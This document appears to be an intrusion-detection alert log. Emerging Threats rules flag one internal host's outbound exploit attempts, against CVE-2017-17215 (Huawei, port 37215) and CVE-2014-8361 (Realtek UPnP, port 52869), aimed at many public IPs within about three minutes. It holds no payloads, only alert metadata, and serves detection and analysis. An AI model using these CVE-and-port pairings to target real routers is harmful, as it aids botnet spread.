ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.77.38.74

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	51258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 170.121.46.240

Timestamp:	07/20/24-23:01:50.848727
SID:	2025132
Source Port:	52016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.119.6.34

Timestamp:	07/20/24-23:01:43.318305
SID:	2027339
Source Port:	53044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.67.179.143

Timestamp:	07/20/24-23:00:59.178062
SID:	2835222
Source Port:	34032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.227.123.147

Timestamp:	07/20/24-23:01:42.365783
SID:	2027339
Source Port:	36496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.234.108.85

Timestamp:	07/20/24-23:01:45.667239
SID:	2025132
Source Port:	53328
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.248.242.20

Timestamp:	07/20/24-23:01:52.838689
SID:	2831300
Source Port:	55674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.224.21.3

Timestamp:	07/20/24-23:01:54.947006
SID:	2831300
Source Port:	60546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.50.33.70

Timestamp:	07/20/24-23:01:44.602081
SID:	2027339
Source Port:	49514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.147.196.56

Timestamp:	07/20/24-23:01:02.046626
SID:	2835222
Source Port:	54504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.70.205.23

Timestamp:	07/20/24-23:01:27.653309
SID:	2829579
Source Port:	56710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.148.233.46

Timestamp:	07/20/24-23:01:47.850156
SID:	2027339
Source Port:	35398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.80.178.96

Timestamp:	07/20/24-23:01:08.590754
SID:	2831300
Source Port:	38592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.53.132.35

Timestamp:	07/20/24-23:01:42.960666
SID:	2027339
Source Port:	56690
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.227.232.27

Timestamp:	07/20/24-23:01:41.249014
SID:	2027339
Source Port:	58350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.198.11.250

Timestamp:	07/20/24-23:01:43.058685
SID:	2027339
Source Port:	44428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.113.152.211

Timestamp:	07/20/24-23:01:04.114673
SID:	2829579
Source Port:	53382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.124.249.51

Timestamp:	07/20/24-23:01:41.380560
SID:	2027339
Source Port:	34342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.60.50.103

Timestamp:	07/20/24-23:01:31.979565
SID:	2835222
Source Port:	40992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.147.70.115

Timestamp:	07/20/24-23:01:49.810143
SID:	2027339
Source Port:	35336
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.80.152.144

Timestamp:	07/20/24-23:01:53.675171
SID:	2027339
Source Port:	39908
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 78.1.44.43

Timestamp:	07/20/24-23:01:56.378725
SID:	2025132
Source Port:	50554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.139.56.71

Timestamp:	07/20/24-23:01:11.642449
SID:	2829579
Source Port:	49292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.167.1.107

Timestamp:	07/20/24-23:01:24.862410
SID:	2829579
Source Port:	40984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.142.171.159

Timestamp:	07/20/24-23:01:43.058686
SID:	2027339
Source Port:	53072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.216.135.51

Timestamp:	07/20/24-23:01:58.602024
SID:	2831300
Source Port:	52422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.91.178.70

Timestamp:	07/20/24-23:01:58.729502
SID:	2025132
Source Port:	49908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 1.176.237.99

Timestamp:	07/20/24-23:01:46.987215
SID:	2025132
Source Port:	58068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.201.79.70

Timestamp:	07/20/24-23:01:41.259813
SID:	2027339
Source Port:	46320
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 102.31.132.7

Timestamp:	07/20/24-23:01:51.576561
SID:	2831300
Source Port:	49878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:48.138392
SID:	2025132
Source Port:	53770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.92.43.190

Timestamp:	07/20/24-23:01:10.523865
SID:	2027339
Source Port:	35540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.236.178.97

Timestamp:	07/20/24-23:01:11.816504
SID:	2829579
Source Port:	53168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 99.98.54.155

Timestamp:	07/20/24-23:01:46.629198
SID:	2831300
Source Port:	56362
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.12.228.50

Timestamp:	07/20/24-23:01:47.523523
SID:	2027339
Source Port:	33250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.42.253.1

Timestamp:	07/20/24-23:01:27.679304
SID:	2835222
Source Port:	56008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.119.197.238

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	39140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.191.15.111

Timestamp:	07/20/24-23:01:45.382207
SID:	2831300
Source Port:	51494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.169.90.245

Timestamp:	07/20/24-23:00:59.194576
SID:	2835222
Source Port:	60616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 81.196.84.169

Timestamp:	07/20/24-23:01:53.068475
SID:	2027339
Source Port:	45506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.255.56.23

Timestamp:	07/20/24-23:01:31.327808
SID:	2027339
Source Port:	32914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.148.208.60

Timestamp:	07/20/24-23:01:07.005156
SID:	2829579
Source Port:	57052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 189.86.15.141

Timestamp:	07/20/24-23:02:00.062043
SID:	2831300
Source Port:	48916
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.197.41.106

Timestamp:	07/20/24-23:01:24.934977
SID:	2829579
Source Port:	50816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.16.142.227

Timestamp:	07/20/24-23:01:44.611556
SID:	2027339
Source Port:	47134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 204.114.85.200

Timestamp:	07/20/24-23:01:42.677814
SID:	2831300
Source Port:	43900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.24.154.203

Timestamp:	07/20/24-23:01:44.466756
SID:	2831300
Source Port:	40356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.113.255.232

Timestamp:	07/20/24-23:01:44.825081
SID:	2027339
Source Port:	39182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.17.30

Timestamp:	07/20/24-23:01:40.321965
SID:	2829579
Source Port:	53252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 141.231.204.102

Timestamp:	07/20/24-23:01:07.036064
SID:	2829579
Source Port:	56934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.48.165.8

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	35956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.50.174.241

Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	45528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.96.13.171

Timestamp:	07/20/24-23:01:41.266946
SID:	2027339
Source Port:	49308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.255.190.193

Timestamp:	07/20/24-23:01:11.642449
SID:	2835222
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.13.149.1

Timestamp:	07/20/24-23:02:00.651394
SID:	2025132
Source Port:	32944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 59.29.162.151

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	54746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 180.231.223.193

Timestamp:	07/20/24-23:01:42.971099
SID:	2831300
Source Port:	38696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.154.64.238

Timestamp:	07/20/24-23:01:47.783977
SID:	2025132
Source Port:	40278
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.183.96.31

Timestamp:	07/20/24-23:03:46.030378
SID:	2025132
Source Port:	41142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 2.32.130.76

Timestamp:	07/20/24-23:01:08.588009
SID:	2831300
Source Port:	34436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.110.126.98

Timestamp:	07/20/24-23:01:42.924014
SID:	2027339
Source Port:	57080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 124.20.21.168

Timestamp:	07/20/24-23:01:11.633481
SID:	2829579
Source Port:	58682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.192.76.252

Timestamp:	07/20/24-23:02:04.022244
SID:	2025132
Source Port:	48646
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.31.50.128

Timestamp:	07/20/24-23:01:44.953142
SID:	2831300
Source Port:	46738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.243.101.70

Timestamp:	07/20/24-23:01:53.484243
SID:	2025132
Source Port:	59706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.135.212.156

Timestamp:	07/20/24-23:01:07.036064
SID:	2835222
Source Port:	36302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.201.149.50

Timestamp:	07/20/24-23:01:44.405053
SID:	2831300
Source Port:	33808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.132.0.162

Timestamp:	07/20/24-23:01:48.036012
SID:	2027339
Source Port:	51362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.103.3.16

Timestamp:	07/20/24-23:01:41.258057
SID:	2027339
Source Port:	53762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.141.159.182

Timestamp:	07/20/24-23:01:43.087294
SID:	2025132
Source Port:	41836
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:46.495508
SID:	2025132
Source Port:	32926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.182.103.28

Timestamp:	07/20/24-23:01:12.861753
SID:	2831300
Source Port:	60648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.154.200.5

Timestamp:	07/20/24-23:01:20.150638
SID:	2829579
Source Port:	60702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.44.110.204

Timestamp:	07/20/24-23:01:45.063335
SID:	2027339
Source Port:	45256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.48.165.8

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	35956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.82.51

Timestamp:	07/20/24-23:01:11.636425
SID:	2835222
Source Port:	50264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 156.133.161.252

Timestamp:	07/20/24-23:01:49.198416
SID:	2831300
Source Port:	47642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.26.13.206

Timestamp:	07/20/24-23:01:08.640831
SID:	2027339
Source Port:	55554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.171.168.15

Timestamp:	07/20/24-23:01:42.509003
SID:	2025132
Source Port:	48078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.3.222.239

Timestamp:	07/20/24-23:01:41.293630
SID:	2027339
Source Port:	36548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.213.19.147

Timestamp:	07/20/24-23:02:11.947779
SID:	2025132
Source Port:	45322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.208.79.121

Timestamp:	07/20/24-23:01:13.299019
SID:	2027339
Source Port:	35426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.79.18.234

Timestamp:	07/20/24-23:01:40.332650
SID:	2835222
Source Port:	37688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.154.207.41

Timestamp:	07/20/24-23:02:02.601575
SID:	2831300
Source Port:	57282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.137.178.82

Timestamp:	07/20/24-23:01:55.273926
SID:	2027339
Source Port:	36792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 64.43.73.86

Timestamp:	07/20/24-23:01:08.572556
SID:	2831300
Source Port:	44650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.226.47.93

Timestamp:	07/20/24-23:01:24.707761
SID:	2027339
Source Port:	33544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.240.199.7

Timestamp:	07/20/24-23:01:24.790282
SID:	2025132
Source Port:	58736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.150.190.33

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	50714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.9.73.188

Timestamp:	07/20/24-23:02:08.171169
SID:	2027339
Source Port:	48478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 44.143.79.165

Timestamp:	07/20/24-23:02:00.570605
SID:	2025132
Source Port:	45240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.209.93.74

Timestamp:	07/20/24-23:01:14.152613
SID:	2027339
Source Port:	50726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.68.229.244

Timestamp:	07/20/24-23:01:45.122550
SID:	2027339
Source Port:	47904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.25.141.126

Timestamp:	07/20/24-23:01:11.820979
SID:	2835222
Source Port:	35366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.123.92.219

Timestamp:	07/20/24-23:01:45.179680
SID:	2027339
Source Port:	58360
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.239.125.129

Timestamp:	07/20/24-23:01:00.639011
SID:	2829579
Source Port:	44098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 165.8.237.202

Timestamp:	07/20/24-23:01:11.816521
SID:	2829579
Source Port:	33148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.57.14.26

Timestamp:	07/20/24-23:01:48.576250
SID:	2027339
Source Port:	41576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 24.36.209.119

Timestamp:	07/20/24-23:01:34.053062
SID:	2835222
Source Port:	60982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

